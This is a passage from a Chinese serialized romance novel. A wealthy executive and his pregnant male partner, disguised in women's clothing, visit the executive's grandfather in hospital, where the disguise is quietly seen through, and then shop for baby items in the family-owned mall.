两人因为找衣服耽误了许多时间,林庭安怕后面逛夜市的时间不够,刚上车就吩咐司机加快了车速。 沈茁跟林庭安并肩坐在后座,他静静靠在柔软的椅背上,呆愣愣地看着窗外一闪而过的风景。 也不知怎的,原本满怀期待的心情,在他穿好衣服出门之后瞬间低到了谷底。 沈茁现在已经不适合穿裤子了,因为肚子太大,穿裤子会很勒,走起路来也不方便。 天气渐凉,除了裤子,沈茁能穿的也只有加长的连衣裙。 鞋子倒是可以自己选,他垂眸看着自己脚上的运动鞋,悄悄吐出一口气。 虽然衣服箍得人难受,假发戴着也不舒服,但至少鞋还是男鞋,这就足够了。 自我开导了一会,沈茁成功把自己开解好了。 林庭安见他脸上又有了笑,也跟着勾起了唇角。 邢远果然没说错,孕夫的情绪真是比六月的雨还不稳定,说来就来说走就走。 摸了摸沈茁的头,林庭安顺着他的视线看去。 入目是一双白色的运动鞋,鞋身有两条黑色的条纹点缀,看样式是双男鞋。 林庭安完全没注意到沈茁穿的是什么鞋子,他身上的裙子裙摆很长,一站起来就把脚遮住了,连鞋头都看不到。 难不成这小孩是因为没有新鞋穿,所以不开心? 不对呀,看表情沈茁明明对这双鞋很满意,那样子就好像全身上下只有那双鞋让他觉得舒坦。 林庭安思考了一会,目光随着沈茁抬头的动作上移,在眼神接触到他那高高挺起的肚子时,脑子一下子通了。 沈茁的难受和莫名的不开心不是因为衣服,也不是多么接受不了在短时间里假扮成另一个性别。 连沈茁自己都没意识到,他其实很抵触因为怀孕而带来的身体变化。 林庭安自诩对沈茁做到了极致,但却从未思考过沈茁内心到底是怎么想的。 因为沈茁爱孩子,爱到了可以从生活中最细小的事情上体现出来。 这份爱就变成了一团黑乎乎的魔咒,遮住了包括沈茁自己在内的每一个人的眼睛。 所有人都在为这个新生命的到来而欢呼雀跃,就连沈茁自己也是。 可说到底,沈茁毕竟是个男人,准确来说他还是个男孩。 孕吐的时候,拖着沉重的身体走路的时候,上厕所必须要人扶着的时候,他心里是不是也会闪过一丝难过。 在每一个不能自己翻身的夜晚,当沈茁因为失眠而无法入睡的时候,他又在想些什么呢? “如果不喜欢下次出门不这样穿也可以,也有很多短头发的女生,大家不会起疑的。” 林庭安深呼口气,他读懂了沈茁的难过,但却想不出办法去缓解他的难过。 唯一能做的竟然只是说几句安慰的话,还真是…… “那样我反而会不自在,”沈茁笑着说,“这样就挺好,别人以为我只是个普通孕妇,才不会一直盯着我看。” “如果觉得不舒服,无论是身体上的还是心里的都跟我说,别憋着知道吗?” “诶呀,你不用担心我这个,我开心着呢。” 沈茁搞不清楚林庭安为什么突然变得这么多愁善感,他反正是想明白了,虽然现在他哪哪都难受,但也就难受这几个月。 等孩子生下来,他就多了一个亲人陪自己,这可是完完全全只属于他自己的家人! 一想到这个沈茁就开心,心情瞬间畅通无比,看林庭安都比早上那会儿更帅了。 林庭安:…… 好,只要沈茁开心就好。 他望向窗外,想不通这小孩为什么变脸比翻书都快。 不过想不通就想不通吧,孕夫的心思他要是能想通就怪了。 林江河在医院恢复了几个月,身子骨已经养的差不多了。 那天晚上在鬼门关走了一遭,老爷子硬是靠沈茁哭那一嗓子给哭回来了,从此心里就一直记挂着沈茁。 后来林庭安带沈茁去看林江河,老爷子还躺在床上张不开嘴说话呢。 见到沈茁就突然跟打了鸡血一样,抓着沈茁的手一会哭一会笑的,把一旁的医生都给吓着了。 赶忙把林庭安二人轰出了病房,好一番检查后,确认老人家没精神失常才又将两人给放进来。 后来林江河能说话了,跟沈茁的关系也亲近了不少。 三个人闲聊的时候,林江河才说他那天是因为看见沈茁太激动,一想到要有重孙了就开心,一想到自己的身子骨不知道能不能挺到重孙出生就难过。 一时悲喜交加,才会看起来像个精神失常的老人。 老爷子不解释还好,这么一解释差点给沈茁笑岔气。 林庭安夹在中间,边给沈茁顺气边叮嘱林江河不准拔自己氧气管,深切体会到了手忙脚乱是什么感觉。 不过现在沈茁跟林江河见面的次数多了,再也没出现过初见时那种乱作一团的情况。 今天两人过去的时候林江河正站在窗前做运动,老爷子之前没什么奔头,现在满心满眼等着自己重孙子出生,别提多有精神头了。 “爷爷,天凉了我们今天给您带了乌鸡汤,您趁热喝。” 沈茁拎着保温饭盒,边开盖子边对林江河说:“爷爷,您快过来喝吧,一会凉了就不好喝了。” “诶呦,诶呦呦,谁叫你来的呀!” 林江河见沈茁挺着个大肚子,走路都费劲,立刻小跑过去扶着沈茁坐到了床尾的小沙发上。 “庭安,你怎么搞得,我不是说了以后就你自己来!” 林江河照着林庭安的胳膊来了一下,怒斥道:“你把小沈带来做什么,都说了病房阴气重,冲撞了肚子里的孩子怎么办?” “沈茁不信这个,再说了到时候孩子出生不也要来医院,这没什么好避讳的。” 林庭安被打了也不恼,将沈茁盛好的汤递给老爷子,他又盛了一碗送到了沈茁手上。 “你也喝一碗,阿姨做了四个人的量,别舍不得喝。” 沈茁低头看着飘着油花的汤,味道很好闻,香气扑鼻闻着就有食欲。 可是…… 他转头看向林江河,眼中闪过了一瞬的犹豫。 “小沈,这也不是什么稀罕的东西,家里不差钱,你想喝就喝。” 林江河放下手里的汤碗,迈着一双老腿走过来。 大手一挥把林庭安挤到一边,他端起碗笑呵呵地要喂沈茁,“小沈,来尝尝好不好喝。” 林江河这个操作把两人都吓了一跳,沈茁直接惊得蹦了起来。 “爷爷,您别这样,我自己喝就行。” 他赶忙把那碗汤抢过来,塞进了林庭安手里,“让……让庭安喂我喝也行。” 沈茁在林江河面前从来都是夹着嗓子说话,这回猛地磕巴了一下,后半句话没控制住,说得颤颤巍巍还带着些许男音。 林庭安和林江河都愣了一下,尤其是林江河表情都变了。 “诶呀,爷爷您就别折腾了,”林庭安扶着老爷子上了床,边给他盖被子边打马虎眼说,“沈茁想喝汤我就喂了,您这样不是打我的脸吗。” “臭小子,我这算什么打脸,你一点眼力见都没有,媳妇肚子那么大喝汤都不知道喂一下。” “想当年你奶奶怀你爸的时候,我可是忙上忙下,一滴水都没让你奶奶沾。” “你奶奶跟了我这辈子是十指不沾阳春水,你媳妇跟了你,你连汤都不喂一口,算什么好男人。” “是我不对,我对媳妇不好行了吧,”林庭安帮林江河掖好被子,就开始打哈哈,“您对媳妇好那整个京都谁不知道。” “我老婆这不是刚怀上,您也得给我个时间适应不是?” “这叫刚怀上?”林江河胡子都气飞了,“小沈都怀五个月了,五个月!” “诶呦,我又说错话了,您就别揪着我的小辫子不放了成吗?” 林庭安做无奈状,耸了耸肩,“那您就自己喝着,我去喂我老婆?” “快去,”林江河不耐地挥挥手,“一会儿汤凉了小沈喝完胃不舒坦。” “好嘞。” 沈茁干巴巴地坐在沙发上,将爷孙俩的话听了个全乎。 他是坐也不是站也不是,心里觉得自己应该站起来表示尊重,但又怕他真站起来了老爷子会从床上跳下来扶他。 “来,老婆,张嘴我喂你。” 林庭安端着碗,嘴角噙着笑,用饱含笑意的眼神看着沈茁。 沈茁闹了个脸红,朝林庭安做了个鬼脸,见林江河没往这边看,他夺过汤碗一口气把汤全喝了。 “你悠着点,”林庭安怕他呛着,小声道:“慢点喝没人跟你抢,喝这么快万一有东西堵嗓子里怎么办?” “我不怕啊,”沈茁仰着头,露出傲娇的表情,“反正我老公在这,总不能看着我憋死吧。” 他拉长了尾音,软得跟棉花糖一样的话直直飘进了林庭安心里。 “你呀,”林庭安失笑,“喝吧喝吧,我再给你盛一碗?” “不用了,我早上吃了很多东西一点也不饿,就是闻着汤好闻才想尝尝的。” 沈茁又看了林江河一眼,见老爷子正在喝汤,他赶忙凑到林庭安耳边,小声耳语:“老公,你说爷爷刚才没把我那句破音听进去吧?” “不会的,”林庭安小声回他,“爷爷耳朵不好,估计以为自己听错了,不会放在心上的。” “那就好,刚才都要吓死了我。” “别害怕,出了事还有老公顶着呢。” 两人小声密谋了几句,说完互相对视了一眼,没忍住一齐笑了出来。 “咳,”林江河清了清嗓子,突然开口:“那个小沈啊,还有庭安,你俩没事就回去吧,我过几天就出院了,不用把我当成病人看。” “那我们就回去了爷爷。” 林庭安收拾好保温饭盒,牵着沈茁的手就往门外走。 还没出门,就又被老爷子叫住了。 只听一道苍老的声音在身后响起,“庭安,你先让小沈在外面等一会,我有几句话单独跟你说。” 林庭安楞了下,低头看向沈茁,柔声道:“那我先过去,你在外面等我一会。” “好,”沈茁乖乖点头,“我自己没事的,你快过去吧,估计爷爷是有什么大事要跟你说。” “等我。” 林庭安低头在沈茁脑门上亲了一下,“就坐在门口的长椅上,不许乱跑。” “我又不是三岁小孩,不会乱跑的。” 沈茁猛推了他一把,“快去,一会爷爷该着急了。” 林庭安深深看了沈茁一眼,才恋恋不舍地进了病房。 第56章 见沈茁走出了房间, 林江河收起挂在脸上的笑容,慢腾腾坐了起来。 林庭安不解地走过去,一屁股坐到床边的陪护椅上。 “爷爷,怎么了, 有什么事不能当着沈茁的面说?” 自从几个月前生死面前走了一遭, 林江河就再也没插手过家里的生意, 林庭安实在想不出老爷子到底有什么事是不能当着沈茁的面说的。 老爷子现在面色红润,气色比在ICU躺着时不知好了多少。 他抬手摸了摸下巴, 布满皱纹的手在空中虚握成一个空心圆, 不断抚摸着并不存在的胡须, 良久才缓缓开口:“以后别让小沈夹着说话了,怪吓人的。” “啊?”林庭安没反应过来,呆愣笑道:“爷爷,你说什么呢?” “小沈这孩子脸皮薄, 但是你不能不懂事, 告诉他以后来见我不用穿女装也不用夹嗓子,大大方方地来, 我老人家又不会说他。” 林庭安心里咯噔一下, 原本放松的身体瞬间紧绷起来。 “爷爷, 您……都知道了?” “我是老了,但还没到老眼昏花的地步。” 林江河冷哼道:“我多少次问建群两口子你结婚的事,他们都支支吾吾说不出话来,我就是再迟钝也能猜出这里面有事。” 确实, 自从老爷子清醒了,就一直催着他和沈茁结婚。 但他俩都是男的,在国内连结婚证都领不了,就更别提办婚礼了。 唐卿和林建群经常来看老爷子, 自然少不了被隔辈催婚。 他们怕气着老爷子,既不能说实话又不能编得太离谱。 开始还只说婚礼正在筹备,后来沈茁肚子越来越大,这个借口自然就说不通了。 尤其沈茁肚子大得快,老爷子见了难免犯愁,催婚的次数便越来越多,也越来越频繁。 林庭安这几日还在琢磨要不要先带沈茁去国外领个证,没成想今天就被老爷子戳穿了他们并不怎么高明的谎言。 “爷爷,您别怪沈茁,这都是我的主意,我……” “臭小子,谁怪小沈了。” 林江河声音里带着经过岁月洗礼的从容,他背脊挺直气定神闲地坐在病床上。 窗外一米阳光投射进来,刚好打在林江河身上。 从林庭安的角度看去,眼前好似伫立着一尊爬满苔藓的古老佛像。 “这中间的细节我不多问,我也不是冥顽不灵的老顽固,没什么不能接受的。” 林江河敲打道:“倒是你,小沈现在怀着孕,你可不能出去乱搞对不起人家,不然我可不认你这孙子。” “爷爷,我是那种人吗?” 林庭安满脸无奈,“这一点您大可不必担心,咱家人都重感情,那是遗传的专心,我……” “我怎么可能在这个节骨眼去……” 剩下的话林庭安实在说不出口,他怎么也想不通,老爷子竟然怀疑他会在沈茁孕期出轨。 他单身二十几年都没说暗地里养几个情人解决生理需求,又怎么会在沈茁怀孕的时候做这种不道德的事! “我们老林家的孩子当然不会是纨绔,我这话你权当是个警醒,记在心里就行。” “好,我记住了,”林庭安颔首,“下次出门也不会再让沈茁这样装扮了,他自己这么穿也不舒服。” “小沈是个好孩子,不管是男是女,既然已经有孩子了你们就好好过日子。” 说着林江河像是想到了什么,声音蓦然严肃起来,“庭安,爷爷问你,关于小沈以后的安排,你到底是怎么想的?” 虽说林庭安已经在背地里筹谋了许多,但被老爷子突然这么一问,他还是愣了一下。 面对林江河,林庭安没什么好保留的,反应过来后他想也没想就将心里的想法全盘说了出来。 老爷子听后连连点头,“嗯,还算是有我们林家人的风范。” 得到夸赞,林庭安勾起嘴角,笑意刚起就听林江河又说:“既然你也想和小沈好好过,那就多留意唐家那边。” 老爷子这话只说了一半,不清不楚,朦朦胧胧。 可林庭安几乎时瞬间就听明白了,“我妈她……” “哎,”林江河抬起手,打断道:“这事也只是个苗头,只叫你多注意着点,如果没有最好,要是有的话你也有个防范。” “爷爷,您是说我妈他对沈茁有意见?” 林江河摇头,“是,也不是。” “那是……” 林庭安绞尽脑汁,实在想不出唐卿还有什么不满意的,“爷爷,您话只说一半,可苦了我了。” “我妈和沈茁相处得很好,把他当亲儿子一样对待,也只有在提到孩子时会严苛一点,她……” “你也说了现在一切都好,”林江河再次打断林庭安的话,“我只是提个醒,一切都是猜测,再多说就像我挑拨你们母子似的。” “好吧。” 林庭安从老爷子嘴里撬不出话,也不过分坚持。 他叮嘱了林江河几句,便起身离开了病房。 * 沈茁老早就期待跟林庭安一起逛母婴店了,这份憧憬深深埋在他心底,随着时间的推移愈来愈深。 在怀孕时跟伴侣一起去逛母婴店,给没出生的孩子挑选小衣服小玩具。 这样温馨的场景在沈茁脑海里上演了很多次。 或许是因为他自己没体会过一家人相伴在一起的幸福,所以格外希望肚子里的孩子能够在充满爱的环境里长大。 于是这种对爱的期待让他忘却了所有的烦恼,和一切身体上的不适。 内心里只有马上要满足期待的欢愉,和梦想成真的畅快。 坐车去母婴店的路上,沈茁还沉浸在幻想里。 林庭安喊了他几声,才把他的魂叫回来。 “怎么又胡思乱想,”抬手在沈茁眼前晃了晃,林庭安低笑,“刚才在外面等急了没有?” “没,”沈茁摇头,“其实也没等多久,都没到半个小时。” “怎么不问我爷爷说了什么?”林庭安握住他的手,放在嘴边亲了下,“嗯?” “我才不问呢,你想说自然会说,不想说我问了不是给你添堵嘛。” 沈茁抽回自己的手,抬眼看着林庭安,朝他张开双臂,“我自己坐着好累,你抱我吧。” 林庭安本来就喜欢抱着沈茁,见他主动要求,林庭安大手一挥忙不迭将人抱在腿上,揽进怀里小狗一样在沈茁身上乱闻。 “我现在是不是很重?” 沈茁小心翼翼地问,“你现在抱我跟前几个月的时候比,是不是很不一样?” “再重你男人也抱得动,”林庭安埋在沈茁颈间,深深嗅闻他身上特有的香味,“等以后孩子出生了,我一个人抱你们俩都没问题。” 沈茁从他的话里听出了一丝霸道,这是林庭安很少用语言表达出来的一面。 他说话向来喜欢征询自己的意见,看似彬彬有礼但说多了就显得两人不亲近。 现在这样,也挺好的。 沈茁将头埋进林庭安胸里,用毛茸茸的脑袋蹭林庭安露在外面的脖颈。 他自己都被心里的想法吓了一跳,原来他更喜欢霸道的男人吗? 不对! 原来他真的喜欢男人吗? “爷爷看出你不是女生了。” 林庭安揽着沈茁的腰,一脸惬意地说:“他说你以后见他穿男装就好。” “什么?!” 沈茁惊坐起来,一只手撑着林庭安胸,另一只手扶着腰,震惊地看着眼前的男人。 “那爷爷有没有说什么别的?”沈茁急切地问。 “他只说叫我好好跟你过日子,”林庭安抬手给沈茁顺毛,想了想终究还是把关于唐卿那段隐了下去,“爷爷还说……” 他拉长尾音,一字一句道:“叫我不、要、出、轨。” “啊?” 沈茁被林庭安话砸懵了,他没想到爷爷竟然会如此关注小辈的私生活。 而且,爷爷这样说的话,是不是代表爷爷其实是喜欢他的? “小沈同学,你说你男人会出轨吗?” 林庭安压着沈茁的肩,将人重新抱进怀里,故意低头将气息喷洒在他不耐痒的脖颈上。 “诶呀,你别……” 沈茁小幅度挣了几下,奈何林庭安力气太大,他一通操作下来竟纹丝未动。 “那你是怎么回答的?” 沈茁反客为主,主动勾住林庭安的脖子,小兽般清澈的眼睛闪着亮光,“你是怎么回爷爷的?” “你说呢?”林庭安反问,“你猜我会怎么说?” “我才不猜呢。” 两人灼烫的气息交织在一起,说出来的话也黏作一团,激得沈茁脸颊酡红。 像是喝醉了,又似在清醒地沉沦。 沈茁心跳加快,这种反问来反问去的对话,让他觉得自己是在跟林庭安调情。 用语言调情。 尤其他现在怀着孕,这种调情被迫蒙上了一层让人羞涩的背德感。 还……怪不好意思的。 “好了,不闹你,”林庭安笑着用粗糙的指腹刮弄沈茁脸上的嫩肉,“爷爷很喜欢你,跟我一样,他也知道你是个好孩子。” “我不是说了,没人会不喜欢你这样的乖孩子。” 林庭安言语笃定,说出来的话好似金科玉律般不容置喙。 沈茁垂下眸子,额头抵着林庭安的胸,眼神动了动,没说话。 “如果我不乖的话,还会有人喜欢我吗?” 探出脑袋,沈茁突兀地问了这么一句。 连他自己都不知道为什么要问这个问题,只是脑子里想到就说出了出来。 或许在内心深处,沈茁更希望别人是因为他是他而喜欢他,不是因为他乖,也不是因为他有多听话。 “让我想想。” 林庭安作思考状摸了摸下巴,良久他嘶了一声,猛地捧起沈茁的脸。 看着眼前红扑扑的小脸,林庭安发自内心地笑了。 “如果你变成坏小孩,那我只能跟在后面帮你擦屁股了。” “只要你不怀着孕去酒吧喝酒,”林庭安点了下沈茁的鼻子,“也不许给我戴绿帽子,其他的只要不违法乱纪的事,我都能帮你兜底。” “所以孩子爸是想要变成坏小孩吗?” 林庭安这几句话是以调笑的口吻说出来的,但沈茁听着,心里却止不住的悸动。 他攥着林庭安胸前的白衬衫,不断用力收紧拳头。 平整干净的衬衫被生生抓出一片褶皱。 攀着林庭安的脖子,沈茁贴在他耳边颤抖着声音说:“你说的话我会当真的,以后也不许变卦。” 第57章 “我想给宝宝买那种花朵形状的枕头, 这样宝宝才能睡出好头型。” 沈茁一直记得之前那个导购的话,一个念头放在心里久了就会变成执念。 给宝宝睡出好头型慢慢就成了沈茁的执念之一。 进了商场,上到五楼母婴区,他直奔卖婴儿枕头的地方, 势必要找出跟那天差不多的花形枕头不可。 “有花形枕头吗?” 林庭安扶着沈茁的后腰, 转头问身侧的导购, “你去把类似的枕头都找出来,再找几个功能性好的, 放在一起对比一下。” “好的, 林董。” 导购毕恭毕敬跟在二人身侧, 整个身体蹦成一条直线,她将双手置于小腹处,面上是温和却不显刻意的笑容。 这家商场是林家的产业,坐落在京都人流最密集的广场旁。 整个商场被设计成了完整的蜂窝形状, 面积自两端向内不断外扩, 最中间那层是整栋建筑中面积最宽大的区域。 巨大的水晶灯吊挂在棚顶,流苏灯饰层层递进, 灯饰总共有半个商场那么长, 星星点点的闪光将整个商场照映得熠熠生辉。 商场的主色调的金黄类的暖色, 从顶楼往下看,楼层呈阶梯式递进,富丽堂皇如上世纪的珠宝拍卖行。 跟沈茁确定好外出的路线后,林庭安就安排人将母婴区的人清空了。 沈茁出门穿的是女装又大着肚子, 两人走在一起难免被人议论猜测。 虽说二人都带了口罩和帽子,但万一被那些媒体拍到,后面再花钱压新闻不仅麻烦也浪费时间。 也正是因为这个林庭安才几个月都没陪沈茁出过门,就连出门散步也是家里的阿姨陪着。 商场施行的是VIP制, 消费者画像主要是京都上流社会的有钱人。 来这儿的除了逛街消遣的富家小姐,就是来给家里夫人先生取衣服首饰的管家。 人流比普通商场少了许多,也安静许多。 现如今整个五楼除了几个受过专业训练的导购,就只有林庭安和沈茁两个顾客。 准确来说,他们甚至不能称之为顾客。 毕竟林庭安的消费走的公司内部的账单,财务统计营收时也不会把自家老董的账算进去。 太安静了,静到空气仿佛凝在了一起,压在沈茁的胸口让他喘不上气来。 “老公,我们一会再去看看宝宝的衣服吧。” 沈茁轻扯了下林庭安的衣角,小声说,“老站在一个的地方感觉有点闷。” “热了?” 林庭安用手指挑高沈茁头上的帽檐,拥着他向后退了几步。 用自己的身体将人完全挡住,林庭安揪起沈茁脸上的口罩,稍微用力一扯,沈茁汗津津的脸就露了出来。 “怎么这么多汗?” 他用纸巾擦掉沈茁额头的汗珠,面色不愉地朝身后的工作人员说:“再把空调温度调低点。” “好的林董!” 身后的商场经理突然被点名,吓得全身一哆嗦,冷汗当即顺着脸颊流了下来。 经理小跑到总控室,没几分钟就又跑了回来。 他边跑边用纸巾慌乱地擦拭脸上的汗水,最后在林庭安面前站定,笑嘻嘻地说:“林董,您看这个温度怎么样?” “还热吗?”林庭安低头问沈茁,“如果还热就再调低点。” 沈茁呆愣地摇摇头,别说热了,他甚至感觉有点冷。 不过他还是第一次见一个大型商场,能在这么短的时间内把温度降到这么低的。 难道这就是老板的威力吗? 两人站在原地等了一会儿,没几分钟之前的导购就推着堆满枕头的小推车疾步走了过来。 “林董,您看看,我们这里的小月龄头枕都在这了。” 导购拿起其中一个米白色的圆形枕头,“这一款是我们这儿销量最好的,宝宝侧睡和仰面睡都很舒服,功能性也很强。” “看上哪一个了?” 林庭安把沈茁推到前面,手掌轻搭在他的背上,耐心询问,“你喜欢哪个就让人预留下来放到仓库里,等布置婴儿房的时候再让人一齐送到家里。” 沈茁看着面前五颜六色的枕头,不止有花朵形的,还有圆形的、小熊头的、长方形的…… 黄的,蓝的,绿的,黑的…… 沈茁感觉头都大了,看来之前那家母婴店还是保守了! 这……这琳琅满目的,别说他只有一个孩子了,就是生七八个也用不过来设么多枕头啊。 “额……” 沈茁犯起了难,他指导购手里的枕头,“要不……就这个?” “你产后家里会请专门的月嫂,不用担心宝宝头型的问题。” 林庭安见沈茁一脸愁容,不禁觉得好笑,“再说了,咱妈前些天不是拿了很多婴儿用品过来,我看那些就挺好的。” “妈准备的东西是很好,但……” 沈茁回想起唐卿前几日带过来的东西,大部分都是一些婴儿玩具。 有小木马,还有挂在摇篮上的小风铃之类的。 玩具的品质都很好,一看就是价格不菲的大牌子。 可是为什么那些东西都是蓝色系的呢? 几个月前他和孟也给宝宝买的小玩具可都是可可爱爱的毛绒玩偶。 一般不知道胎儿性别的时候,不都是买黄色的玩具吗? “咱妈是喜欢蓝色吗?”沈茁问。 话刚说出口,就见林庭安从小推车里拿出了一个蓝白条纹的小枕头,上面还带着小鲨鱼的图案。 “我妈不喜欢蓝色,你别看她是跟数字和图形打交道的,但她喜欢的颜色你绝对猜不到。” 林庭安满意地摆弄起手里的鲨鱼枕头,随口应道:“她呀最喜欢的是偏粉色系的桃红色。” “哦,”沈茁上前一步抱住林庭安的胳膊,试探地问他,“那你喜欢蓝色吗?” 一双藏不住事的眼睛直勾勾盯着林庭安手里的枕头看,就是再迟钝林庭安也听出了沈茁的言外之意。 难不成沈茁喜欢小女孩? 脑子里猛地想起王启仁的话,林庭安突然意识到他好像从来没跟沈茁讨论过孩子的性别问题。 他自己对这些并不看重,就以为沈茁也是这么想的。 现在看来,似乎不是这样。 低头看着手里的枕头,林庭安也跟着犯起了难。 自打王启仁那天提了那么一嘴,他就一直默认沈茁肚子里的是男孩。 不因为别的,只因为王启仁算的是真的准。 他刚跟王启仁认识的时候,王启仁就捻着手指给他算过一挂。 林庭安到现在还记得,那时候王启仁说他事业畅通无阻,但感情路七扭八歪,二十五岁之前都没有发展的迹象。 又说他亲缘深厚,感情路虽然不顺,但只要挺过一个大坎,日后必然幸福圆满阖家安康。 那时林庭安年轻气盛,只觉得王启仁神神叨叨的,比家里请的风水师还要神叨。 可后来王启仁的话一一应验,他也不得不信了。 “我就是觉得这鲨鱼挺傻的,所以拿起来看看,”林庭安摸了下鼻子,淡然一笑,“你喜欢什么颜色就让人准备什么颜色。” 他想了想,既然沈茁喜欢女孩,那现在也只能先瞒着了。 提前讲明孩子的性别,除了让沈茁多难过几个月之外,没有任何的好处。 听林庭安这么说,沈茁不禁松了口气,“那我们拿这个黄色的小熊枕头吧,还有这个小粉花的,我觉得都很好。” “夫人眼光真好,”一旁的导购适时开口,“您选的这几个都销量最好的款式。” 沈茁被导购这一声夫人给惊到了,沉默了几秒,才惊觉他现在穿的是女装。 被叫夫人似乎也没什么不对的。 他以前在外面打工的时候,经理也常说要有眼力见,做服务行业心思必须细腻。 摸不准客人的关系时不能乱叫,摸准了客人的关系嘴巴也要甜一点,说出来的话得让消费者舒服。 沈茁朝导购笑了笑,然后拉住林庭安的手,“我们再去看看小朋友的衣服吧。” “好啊。” 林庭安今天打定了主意要顺着沈茁,这小孩在家里憋坏了,好不容易有机会出来透透风,就是要天上的星星月亮他也会义不容辞帮他摘下来。 “这个小裙子好可爱,”沈茁指着模特身上的公主裙,眼里闪烁着亮光,“我们买这个好不好?” “这件是一岁的孩子可以穿的,”导购立刻讲解,“深秋系列最新的走秀款,全国只有咱们商场有六件库存。” “可以买吗?” 沈茁抬头,用亮晶晶的眼睛看着林庭安。 他戴着帽子和口罩,只露出了一双小鹿般眼睛。 水灵灵的,比柜台里鸽子蛋大小的钻石还要闪耀。 林庭安一句拒绝的话都说不出来,他开始想象一岁大的小男孩穿公主裙的场景。 嘶—— 也不能说不雅观,毕竟就算是小女孩一岁的时候也还没长头发,看着跟小男孩差不多。 看着沈茁满怀期待的眼睛,林庭安咬着牙说:“那就留一件。” 他撩开沈茁肩上的长发,不轻不重地揉捏沈茁柔软的耳垂,“喜欢小裙子?” “我就是觉得好看。”沈茁低声喃喃。 大庭广众之下,导购还一边看着,他实在受不了林庭安做这么亲密的动作,脸一下子就红了。 “我还可以选别的衣服吗?” 沈茁尝到了甜头,愈发大胆起来,他指着另一款蓝紫色的背带裤,“这个也很可爱。” 林庭安:“那就拿着。” “还有这个纯棉的白色短袖,还有彩色飞边呢,这个也想要。” “也拿着。” “那这个呢,这个背带裙刚好可以跟刚才的短袖搭配起来,宝宝穿肯定好看!” “一起拿下来。” “啊,老公,这个!”沈茁的声音跳了起来,“这个小天使帽子看着就很柔软,我们可以把宝宝打扮成有天使光环的小恶魔!” 林庭安:“拿一顶。” “这个和这个都想要,还有小背包也要,这个很适合cos美人鱼,而且也是黄色的,跟我之前的装扮很像呢。” “都拿,每样都拿一件。” …… 两人在服装区逛了一个小时,几个导购手里的衣服已经拿不下了。 沈茁看每一件衣服都可爱,看到亮晶晶的小配饰就开始幻想肚子里的宝宝戴上的样子。 之前他因为没有钱,逛母婴店的时候束手束脚的。 一看价格,就什么心思都没了。 但现在不一样了,整个商场都是自己家的。 不用看价格,更不用货比三家,只要买买买就好。 这种感觉简直太爽了! “瞧你乐的,至于吗?” 买完东西,两人坐在VIP室休息。 沈茁摘掉了帽子和碍事的口罩,捧着肚子坐在沙发上喝柠檬水。 林庭安就跟他身边的丫鬟似的,一边帮他擦汗一边拿着扇子帮他扇风。 现在天气冷了,商场为了保持温度适宜,空调温度一直控制在二十七八度。 沈茁穿的不算多,但架不住他情绪高涨,买东西给自己买上头了。 心里一激动就容易发热,他又戴着假发,这么一闷就出了许多汗。 “老公,这些可爱的小衣服什么时候能送到家里呀?” 沈茁捏着吸管,用力吮吸杯子里的柠檬水,一口气喝了半杯才慢腾腾把杯子重新放回到了桌子上。 “等婴儿房布置出来再说。” 林庭安恪守“丫鬟”的职责,按住沈茁的肩,耐心地帮他擦掉嘴角的水渍。 做完这些,他把皱成一团的纸巾扔到垃圾桶,随手端起桌面上的甜点,挖了一勺带橙粒的奶油递到沈茁嘴边,“吃不吃?” 沈茁正舒坦着呢,舌尖舔到一丝甜,他不假思索一口咬住勺子,把里面上面的奶油都搜刮进了肚子里。 “好吃,”吃完沈茁满足的舔了舔嘴角,瞪大眼睛说:“这里的蛋糕比蛋糕店里的还要好吃,我可以拿几个回家吃吗?” 说完,他仰起头看着商场的大老板,小猫似的用鼻子拱林庭安心口。 边拱边发出哼哼的声音,乍一听跟猫猫幼崽的呼噜声差不多。 林庭安被沈茁哄得服服帖帖,还有什么是不能答应的? 他大手一挥让人把楼下甜品店里的招牌各打包一份,直接送到了家里。 “这下开心了?” 林庭安捏住沈茁逐渐圆润的小脸,向外扯了扯,“挺好,长肉了。” “疼,”沈茁吃痛,一巴掌拍掉了脸上的手,沉默片刻他疑惑地问:“我真的胖了吗?” “我听说太胖的话生产会不顺利,我是不是应该减减肥了?” “你这都从哪听来的话?” 林庭安啧了一声,捏着沈茁的手腕抬到半空中,“你自己看,你这细胳膊细腿还没有我小臂一半粗,根本算不上胖。” “我说你长肉了是跟你以前比,你一个小树干长成火腿肠了,算什么胖。” 沈茁一听这话就不乐意了,什么叫小树枝长成火腿肠啊,有这么形容人的吗?! 不过林庭安话糙理不糙,他顶多也只敢在心里腹诽几句。 “那我也是长成了好几块钱一根的大肉肠,”沈茁破天荒地顶了句嘴,“而且我长肉不也是你喂的。” 林庭安一时玩心大发,开始跟沈茁拌嘴,“我看你就是根小狗肠。” 没成想沈茁不但不生气,反而黏糊糊地凑过来,咧开嘴问:“你还知道小狗肠呢?” 他像是听到了什么了不起的事一样,眼里满是惊讶,“你竟然会知道小狗肠,你是怎么知道小狗肠的呀?” 林庭安伸出两根手指,抵住沈茁的脑门,“知道小狗肠是什么很不可思议的事吗?” 沈茁停下动作,不说话了。 两人你一言我一语,斗嘴竟也斗出了些乐趣。 不过站在他们身后的服务生就苦了,谁能想到身价几百亿美金的老总私底下竟然会像小学鸡一样跟人吵嘴啊! 服务生深吸口气默默往后退了两步,不断在心里念清心咒,他什么都没看到,什么都没听到。 没看到没听到,没看到没听到。 * 看完孩子的东西,两人又去超市买了一些零食。 沈茁吃甜品吃得勤,按理说不应该再让他吃高热量高糖分的东西。 但架不住林庭安心软,沈茁一用眼睛巴巴地看他,他就硬不下心来拘束沈茁的吃食。 这次去超市沈茁还算是保守,购物车里只有一袋薯片是高热量的,剩下的水果蔬菜和饼干坚果都很健康。 说来也奇怪,沈茁自己买一大推垃圾食品时林庭安总想管着他。 现在沈茁自律起来不吃那些不健康的了,林庭安反而觉得委屈了他,心里怪不舒服的。 或许这就是人类的别扭之处? 拎着两袋子东西走出超市,林庭安扬了扬下巴,示意沈茁抓住自己的衣服。 沈茁看懂了,但偏不按他说的做。 嘴角勾起一抹坏笑,他在林庭安手上拿满了东西的情况下,成功找到了一根暂时还没有工作的小拇指。 沈茁的眼底充盈着笑意,悄悄用温热的手掌握住了那根小拇指。 他故意抓的很紧,将两人的温度包裹在一起。 林庭安低头看了眼自己被牵住的手,无奈失笑,“能牵住吗?” 他把两只手的东西都转移到一只手上,用空余的那只手包裹住沈茁的,“这样不就握紧了。” “这样会不会很重?”沈茁有些担心,“我……我没想让你牵我的。” “我常年健身,尤其喜欢锻炼手臂,就是把你直接扛起来也没问题。” 林庭安这话说得保守了,其实他扛两个沈茁都没问题。 